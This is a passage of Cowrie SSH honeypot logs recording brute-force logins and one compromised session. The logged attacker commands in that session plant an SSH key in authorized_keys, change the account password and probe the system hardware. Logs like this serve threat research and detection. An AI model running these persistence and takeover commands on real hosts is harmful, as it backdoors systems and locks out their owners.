-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:43.111504Z","src_ip":"190.242.109.42","session":"f7ddc19b0e2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qaz1wsx2","message":"login attempt [ubuntu/Qaz1wsx2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:43.498089Z","src_ip":"190.242.109.42","session":"f7ddc19b0e2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:44.590460Z","src_ip":"190.242.109.42","session":"f7ddc19b0e2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.143.162.210","src_port":51216,"dst_ip":"10.17.0.5","dst_port":22,"session":"820a462fffd6","protocol":"ssh","message":"New connection: 3.143.162.210:51216 (10.17.0.5:22) [session: 820a462fffd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:49.161879Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:49.166125Z","src_ip":"3.143.162.210","session":"820a462fffd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:49.172613Z","src_ip":"3.143.162.210","session":"820a462fffd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":48620,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d1174f9b70d","protocol":"ssh","message":"New connection: 103.189.208.13:48620 (159.203.135.109:22) [session: 3d1174f9b70d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:29.748183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:29.752984Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:29.999697Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin#","message":"login attempt [admin/admin#] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:31.016504Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:31.553158Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:31.556203Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:31.560025Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:31.808587Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:32.341178Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:32.344666Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:32.597578Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:32.601475Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":43136,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed66cc55e5d5","protocol":"ssh","message":"New connection: 103.189.208.13:43136 (159.203.135.109:22) [session: ed66cc55e5d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:32.847807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:32.852902Z","src_ip":"103.189.208.13","session":"ed66cc55e5d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:33.103111Z","src_ip":"103.189.208.13","session":"ed66cc55e5d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":13438,"dst_ip":"159.203.135.109","dst_port":22,"session":"8be10433429e","protocol":"ssh","message":"New connection: 193.46.255.86:13438 (159.203.135.109:22) [session: 8be10433429e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:33.834729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:33.839267Z","src_ip":"193.46.255.86","session":"8be10433429e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:33.974432Z","src_ip":"193.46.255.86","session":"8be10433429e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:34.134717Z","src_ip":"103.189.208.13","session":"ed66cc55e5d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"","password":"","message":"login attempt [/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:34.589799Z","src_ip":"193.46.255.86","session":"8be10433429e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:35.387788Z","src_ip":"103.189.208.13","session":"ed66cc55e5d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":43142,"dst_ip":"159.203.135.109","dst_port":22,"session":"f67d40a788fc","protocol":"ssh","message":"New connection: 103.189.208.13:43142 (159.203.135.109:22) [session: f67d40a788fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:35.643379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:35.648954Z","src_ip":"103.189.208.13","session":"f67d40a788fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:35.727963Z","src_ip":"193.46.255.86","session":"8be10433429e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:35.904339Z","src_ip":"103.189.208.13","session":"f67d40a788fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:36.952531Z","src_ip":"103.189.208.13","session":"f67d40a788fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:38.210653Z","src_ip":"103.189.208.13","session":"f67d40a788fc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:38.501061Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:38.504418Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:38.753991Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:39.280912Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin#\\nQxmvNfya75ZR\\nQxmvNfya75ZR\"|passwd|bash","message":"CMD: echo -e \"admin#\\nQxmvNfya75ZR\\nQxmvNfya75ZR\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:39.283969Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:39.287290Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:39.289842Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/836bba9962897e1657c7d4d5e1693092b5f155cf786b4b1fd1600b0942a2287a","size":32,"shasum":"836bba9962897e1657c7d4d5e1693092b5f155cf786b4b1fd1600b0942a2287a","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/836bba9962897e1657c7d4d5e1693092b5f155cf786b4b1fd1600b0942a2287a after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:39.538254Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:40.067845Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin#\\nQxmvNfya75ZR\\nQxmvNfya75ZR\\n\"|passwd","message":"CMD: echo \"admin#\\nQxmvNfya75ZR\\nQxmvNfya75ZR\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:40.070429Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a07d76413af53a41d5e347562bfd356d61ef3193844409bf796b687b9bd31324","size":25,"shasum":"a07d76413af53a41d5e347562bfd356d61ef3193844409bf796b687b9bd31324","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/a07d76413af53a41d5e347562bfd356d61ef3193844409bf796b687b9bd31324 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:40.318368Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:40.887573Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:40.890432Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:41.140003Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:41.705999Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:41.709123Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:41.958481Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:42.490535Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:59:42.493546Z","src_ip":"103.189.208.13","session":"3d1174f9b70d","protocol":"ssh"}
